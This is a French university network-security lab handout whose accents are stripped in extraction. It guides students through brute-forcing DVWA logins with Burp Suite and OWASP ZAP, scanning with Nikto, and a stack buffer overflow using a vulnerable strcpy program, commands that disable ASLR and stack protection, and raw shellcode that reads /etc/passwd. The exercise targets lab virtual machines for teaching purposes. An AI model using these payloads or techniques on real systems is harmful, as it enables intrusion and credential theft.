Sunteți pe pagina 1din 11

Laboratoire No 4

Cours : Scurit dans les rseaux informatiques


c M. Mejri, 2016

1 Rappel important
Il est compltement interdit de pratiquer les techniques vues dans ce cours sur un rseau ou une machine qui ne vous
appartient pas, y compris le rseau de luniversit et les machines qui ne sont pas dans le laboratoire prvu pour cette
fin. Vous risquez la prison et ni votre professeur, ni votre universit ne peuvent vous protger. La loi cest la loi !
Le piratage (Hacking), cest criminel. Principalement, la loi dfinit comme crimes informatiques : Laccs illgal aux ordina-
teurs et leurs donnes (cc.342.1) ; le vol de donnes informatiques (cc.342.1) ; le mfait aux donnes (cc.430). Pour plus de
dtails sur le Code criminel : laws-lois.justice.gc.ca/PDF/C-46.pdf

2 Objectif
Lobjectif de ce laboratoire est de permettre ltudiant de mieux comprendre les attaques de type dbordement de tampon ainsi
que de le familiariser avec lutilisation de certains outils dattaques des applications et de serveurs web tels que Burpsuite,
Zap et Nikto.

3 Description du rseau utilis


Nous utilisons pour ce laboratoire la machine virtuelle Kali et la machine OWASP Broken Web Applications (disponible
partir du site web du cours) nomme dans ce qui suit par OWASP.

4 Travail demand
Dans le mme esprit que les laboratoires prcdents, ce travail consiste faire certaines oprations dcrites dans les tapes
qui suivent et de prendre des copies dcrans montrant vos rsultats. Les tapes pour lesquelles vous devez prendre des copies
dcrans sont indiques par le signe suivant :

Important : Une copie dcran qui na pas le bon numro ou qui ne porte votre nom ou votre adresse IP, ne vous donne pas
des points.
Ouvrir un shell sur Kali et le personnaliser avec la commande suivante en remplaant Nom et Prenom par votre nom
et votre prnom :
PS1="${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h Prenom Nom
\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]#"

1. Utilisation de Burpsuite pour lancer une attaque par dictionnaire ou par force brute sur un site web.
Tlcharger et lancer la machine OWASP.
Mettre la machine OWASP en mode "hte-uniquement" et lui donner ladresse IP de votre machine kali +1. Par
exemple, si ladresse de Kali est 192.168.1.150, alors ladresse IP du OWASP sera 192.168.1.151.
Ouvrir votre navigateur sur Kali, puis taper ladresse de la machine OWASP.
Choisir le lien "Damn Vulnerable Web Application" puis donner admin comme nom dutilisateur et
admin comme mot de passe.

1
Choisir lattaque par force brute (Brute Force)

Lancer loutil Burpsuite partir du menu de Kali

Rendre visible la barre de menu du navigateur : Open menu->Customize->Show/Hide Toolbars->Menu


Bar

2
partir du menu Edit->Preferences->Advanced->Network->connection->Settings du na-
vigateur de Kali, configurer le proxy sur la machine 127.0.0.1 et le port 8080. En suite, effacer le contenu de la
zone "No Proxy for".

Taper votre nom comme nom dutilisateur et votre prnom comme mot de passe sur la page dauthentification
Brute Force
Revenir sur Burpsuite dans le menu proxy pour voir linformation intercepte

Via "action", envoyer le formulaire intercept intruder (send to intruder)

Aller dans le menu intruder, choisir Cluster Bomb comme type dattaque (attack type), appuyer
sur clear, slectionner votre nom et appuyer sur add, puis slectionner votre prnom et appuyer sur add.

3
Votre nom et votre prnom doivent tre prcds et suivis par le signe pour indiquer que ces champs seront
considrs comme des variables.

Aller dans payload, choisir payload set 1, puis aller dans Payload Options, appuyer sur clear et
ajouter (via Add) les noms des utilisateurs suivants : votre nom, Smithy et admin

Aller dans payload, choisir payload set 2, puis aller dans Payload Options, appuyer sur clear et
ajouter (via Add) les mots de passe suivants : password, love et 12345

On remarque que le mot incorrect apparait quand on envoie un mauvais mot de passe ou un mauvais nom
dutilisateur via la page cible. Alors, on peut distinguer un bon dun mauvais mot de passe/nom dutilisateur
en cherchant le mot incorrect dans les rponses, et ce, en le spcifiant avec option->grep. La bonne
combinaison nom dutilisateur/mot de passe ne devrait pas faire apparaitre le mot incorrect dans la rponse.

Maintenant, il ne reste qu lancer lattaque via le menu intruder->start attack

4
(1 pt) On constate que parmi les valeurs donnes, il y a un nom dutilisateur et un mot de passe ou le nom
incorrect napparait pas dans la rponse.

Pour confirmer quil sagit dun bon nom dutilisateur/un mot de passe, dsactiver le proxy et essayer de vous
connecter avec les valeurs trouves dans la page de Brut Force.
2. Reprendre lattaque prcdente avec owasp-zap.
Ouvrir votre navigateur sur Kali, puis taper ladresse de la machine OWASP.
Sous Kali, crer deux fichiers : le premier sappelle users et contient votre nom sur une ligne et le nom Smithy
sur une autre ligne ; le deuxime sappelle pwd et contient une ligne avec 12345, une autre avec love et une
dernire avec password.
Choisir le lien "Damn Vulnerable Web Application" puis donner admin comme nom dutilisateur et
admin comme mot de passe.

Choisir lattaque par force brute (Brute Force)

Lancer loutil owasp-zap partir du menu de Kali

5
partir du menu Edit->Preferences->Advanced->Network->connection->Settings du na-
vigateur de Kali, configurer le proxy sur la machine 127.0.0.1 et le port 8080. En suite, effacer le contenu de la
zone "No Proxy for".

Taper votre nom comme nom dutilisateur et votre prnom comme mot de passe sur la page dauthentification
Brute Force.
Revenir sur oawsp-zap, slectionner la page intercepte, puis avec le bouton droit de la souris, choisir "attaquer->gnre
du bruit"

Indiquer oawsp-zap la liste dutilisateurs quil doit parcourir, et ce, en slectionnant votre nom, puis cliquer
sur ajouter, choisir fichier comme type, slectionner votre fichier users, ajouter et OK.

6
Indiquer oawsp-zap la liste de mots de passe quil doit parcourir, et ce, en slectionnant votre prnom, puis
cliquer sur ajouter, choisir fichier comme type, slectionner votre fichier pwd, ajouter et OK.

(0.75pt) Cliquer sur Start Fusser, puis sectionner la requte qui a gnr une rponse de taille diffrente.

Loutil oawsp-zap permet facilement de dtecter diffrents types de vulnrabilits lies un site web.
(0.25pt) Cliquer sur Dmarrage rapide, puis choisir le lien
http://192.168.1.2/dvwa/vulnerabilities/
et appuyer sur Attaquer. Observer les vulnrabilits dtectes.

7
3. Un autre outil redoutable de dtection de vulnrabilits est Nikto.
Lancer la machine OWASP et choisir OWASP Multimedia comme page dattaques.

Copier lURL et lutiliser avec la commande nikto dans un Shell.

Analyser le rsultat et dcouvrir, entre autres, des rpertoires sensibles mal protgs.

(0.5 pt) Visualiser le fichier de mots de passe "/etc/password"

4. Dbordement de tampons
Le programme buf1.c suivant sera utilis pour pratiquer la technique de dbordement de tampons :

#include<stdio.h>
#include<string.h>

void fn(char *a) {


char tampon[208];
strcpy(tampon, a);
printf("fin de fn\n");
}

main (int argc, char *argv[]) {


fn(argv[1]);
printf("fin de main\n");
}

8
Avant de commencer lexprience et dans le but de simplifier lattaque, nous dsactivons certaines mesures de
protection contre le dbordement de tampons.
La commande suivante permet de dsactiver la gestion "alatoire" de la mmoire en attribuant la valeur zro
la variable randomize_va_space.
echo 0 > /proc/sys/kernel/randomize_va_space
Pour enlever certaines protections lies la gestion de la pile, nous compilons le programme avec les options
suivantes :
gcc -g -o buf1 -fno-stack-protector -z execstack buf1.c
(0.25pt) Montrer les rsultats des excutions de buf1 en donnant plusieurs fois la caractre "A" (On commenc
partir de 207 et on sarrte quon aura une excution anormale). Vous pouvez faire appel des commandes perl
ou python comme le montre lexemple suivant.

Excuter maintenant le programme avec le dbogueur :


gdb -q buf1
(a) (0.25pt) Dsassembler le code et dduire ladresse du retour. Pour dsassembler le code, vous pouvez
utiliser la commande suivante :
(gdb) disas main
(b) (0.5pt) Confirmer le rsultat prcdent en affichant le contenu du registre ebp auquel on ajoute la valeur
8. Pour ce faire, il suffit de :
Afficher les instructions du programme ainsi que leurs numros :
(gdb) list
Placer un breakpoint avant la fin de la fonction fn en appelant la commande b et en lui donnant le
numro de la ligne :
(gdb) b 7
Excuter la programme avec la chane "ABCD" par exemple
(gdb) run "ABCD"
Finalement, on affiche le contenu de la mmoire qui se trouve ladresse donne par le contenu de rbp +
8
(gdb) x/2x $rbp +8
Pour continuer lexcution du programme, il suffit de taper la commande c
(gdb) c
Pour quitter le dbogueur, il suffit de taper la commande q
(gdb) q

(c) (0.5pt) Excuter le programme et dterminer le nombre minimal de caractres mettre dans le tampon
pour toucher adresse du retour.
Les commandes suivantes permettent dexcuter le programme dans le dbogueur en donnant 100 caractres
"A" comme entre.
(gdb) run perl -e print "A" x 100
(gdb) run $(python -c print "A" * 100)

On commence toucher ladresse de retour, par des A, quand le nombre 41 (caractre A ) apparait dans
ladresse du message derreur

9
(d) (0.5pt) Dterminer ladresse du tampon. Pour ce faire, il suffit de :
Placer un breakpoint avant la fin de la fonction fn en appelant la commande b avec un numro dune
ligne :
(gdb) b 7
Excuter le programme en lui donnant en entre plusieurs "A".
(gdb) run perl -e print "A" x 40
Afficher le contenu de plusieurs (e.g. 100) cases mmoires partir du sommet de la pile donn par le
registre rsp
(gdb) x/100x $rsp
Localiser la premire adresse mmoire qui ne contient que des "A" (41) et suivie par plusieurs "A".
noter quon peut aussi lire ladresse de la variable tampon en tapant la commande print &tampon

(e) (2pts) Dtourner le programme en excutant un shell. Pour ce faire, il suffit dcraser ladresse de re-
tour par ladresse trouve dans ltape prcdente crite selon le format little endian (par exemple
0x7f f f f f f f e1b0 devient \xb0 \ xe1 \ xf f \ xf f \ xf f \ x7f ) et mettre le code quon veut excuter dans
le tampon. Le code suivant contient 82 caractres et permet dafficher le contenu du fichier /etc/passwd.
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05
\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba
\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48
\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
Pour avoir plus de flexibilit, nous pouvons prcder le code excuter par plusieurs NOP et le suivre
ladresse qui crasera celle de retour.

Remarques :
Ladresse de retour ne doit jamais contenir \x00, sinon le fonction strcpy() va confondre cet octet avec
celui de fin la chane de caractre.
Si jamais le dbut de buffer a une adresse terminant par \x00, modifier ladresse de retour par une autre
diffrente de celle du dbut de buffer. Dans ce cas, il faut sassurer que le code sera excut une fois
lexcution est dtourne vers ladresse choisie.
Une fois la commande run est lance, vrifier, avec la commande "x/100x $rsp", que le code inject
se trouve toujours la bonne adresse avant de continuer. Sinon reprendre lexcution de la commande run
en utilisant la bonne adresse.

(f) (1pt) Quitter gdb et essayer de varier petit petit loctet ayant le poids le plus faible dans ladresse de
retour jusqu ce que lattaque russisse.

10
5 Remarques
1. Le travail est individuel.
2. noter que le barme (total =7.5) indiqu est titre indicatif.

6 remettre
Utilisez le site web du cours pour dposer un fichier PDF ou WORD contenant les copies dcrans demandes, et ce, tout
en gardant le mme ordre et les mmes numrotations.

7 chancier
Le 12 dcembre 2016 avant 23h59. noter que les TPs remis en retard ne seront pas accepts.

11

S-ar putea să vă placă și